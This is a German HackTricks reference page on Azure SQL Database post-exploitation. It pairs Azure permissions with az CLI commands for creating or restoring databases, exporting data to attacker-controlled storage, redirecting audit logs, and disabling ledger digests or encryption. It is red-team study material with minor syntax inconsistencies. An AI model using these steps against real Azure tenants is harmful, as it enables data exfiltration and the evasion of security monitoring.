Az - SQL-Datenbank Post-Exploitation

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

SQL-Datenbank Post-Exploitation

Für weitere Informationen zur SQL-Datenbank siehe:

Az - SQL

Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write

Mit diesen Berechtigungen kann ein Angreifer Datenbanken innerhalb der kompromittierten Umgebung erstellen und aktualisieren. Diese Post-Exploitation-Aktivität könnte es einem Angreifer ermöglichen, bösartige Daten hinzuzufügen, Datenbankkonfigurationen zu ändern oder Hintertüren für weitere Persistenz einzufügen, was potenziell den Betrieb stören oder zusätzliche bösartige Aktionen ermöglichen könnte.

bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>

Mit diesen Berechtigungen (Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write) können Sie eine gelöschte Datenbank wiederherstellen:

bash
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read

Mit diesen Berechtigungen kann ein Angreifer elasticPools innerhalb der kompromittierten Umgebung erstellen und aktualisieren. Diese Post-Exploitation-Aktivität könnte es einem Angreifer ermöglichen, bösartige Daten hinzuzufügen, Datenbankkonfigurationen zu ändern oder Hintertüren für weitere Persistenz einzufügen, was potenziell den Betrieb stören oder zusätzliche bösartige Aktionen ermöglichen könnte.

bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>

Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write

Mit dieser Berechtigung können Sie die Auditeinstellungen auf einem Azure SQL Server ändern oder aktivieren. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, die Auditkonfigurationen zu manipulieren, was potenziell dazu führen kann, Spuren zu verwischen oder Auditprotokolle an einen Ort umzuleiten, der unter ihrer Kontrolle steht. Dies kann die Sicherheitsüberwachung behindern oder es ermöglichen, die Aktionen im Auge zu behalten. HINWEIS: Um das Auditing für einen Azure SQL Server mit Blob Storage zu aktivieren, müssen Sie ein Speicherkonto anhängen, in dem die Auditprotokolle gespeichert werden können.

bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7

Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write

Mit dieser Berechtigung können Sie die Verbindungseinstellungen eines Azure SQL Servers ändern. Diese Fähigkeit kann ausgenutzt werden, um serverseitige Verbindungseinstellungen zu aktivieren oder zu ändern.

bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>

Microsoft.Sql/servers/databases/export/action

Mit dieser Berechtigung können Sie eine Datenbank von einem Azure SQL Server in ein Speicherkonto exportieren. Ein Angreifer oder autorisierter Benutzer mit dieser Berechtigung kann sensible Daten aus der Datenbank exfiltrieren, indem er sie an einen Ort exportiert, den er kontrolliert, was ein erhebliches Risiko für Datenverletzungen darstellt. Es ist wichtig, den Speicher-Schlüssel zu kennen, um dies durchführen zu können.

bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

Microsoft.Sql/servers/databases/import/action

Mit dieser Berechtigung können Sie eine Datenbank in einen Azure SQL Server importieren. Ein Angreifer oder autorisierter Benutzer mit dieser Berechtigung kann potenziell bösartige oder manipulierte Datenbanken hochladen. Dies kann dazu führen, dass die Kontrolle über sensible Daten erlangt wird oder dass schädliche Skripte oder Trigger in die importierte Datenbank eingebettet werden. Zusätzlich können Sie sie auf Ihren eigenen Server in Azure importieren. Hinweis: Der Server muss Azure-Dienste und -Ressourcen den Zugriff auf den Server erlauben.

bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`

Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read

Mit diesen Berechtigungen kann ein Benutzer die Verbindungsrichtlinien eines Azure SQL-Servers ändern und abrufen. Diese Berechtigungen ermöglichen es jemandem, zu ändern, wie Clients mit dem Server verbinden – zwischen Methoden wie Redirect oder Proxy zu wählen – was ausgenutzt werden könnte, um die Sicherheit zu schwächen, den Datenverkehr umzuleiten oder sensible Daten abzufangen, wenn sie falsch konfiguriert sind.

bash
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>

Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read

Mit diesen Berechtigungen kann ein Benutzer Verschlüsselungsschlüssel, die mit einem Azure SQL Server verbunden sind, aktualisieren und abrufen. Diese Schlüssel werden häufig verwendet, um sensible Daten durch Verschlüsselung zu sichern, sodass deren Manipulation die Datensicherheit gefährden könnte, indem unbefugte Entschlüsselung oder Änderungen der Schlüsselrotation ermöglicht werden.

bash
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef

Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read

Diese Berechtigung ermöglicht das Deaktivieren von Ledger Digest für eine Azure SQL-Datenbank, wodurch das regelmäßige Hochladen von kryptografischen Digest-Datensätzen in den Azure Blob Storage gestoppt wird, das die Integrität der Daten überprüft.

bash
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server

Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read

Diese Berechtigung ermöglicht einem autorisierten Benutzer oder Angreifer, die Einstellungen zur Transparent Data Encryption (TDE) in einer Azure SQL-Datenbank zu aktivieren, zu deaktivieren oder zu ändern, was die Datensicherheit durch die Änderung der Verschlüsselungskonfigurationen potenziell beeinträchtigen kann.

bash
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks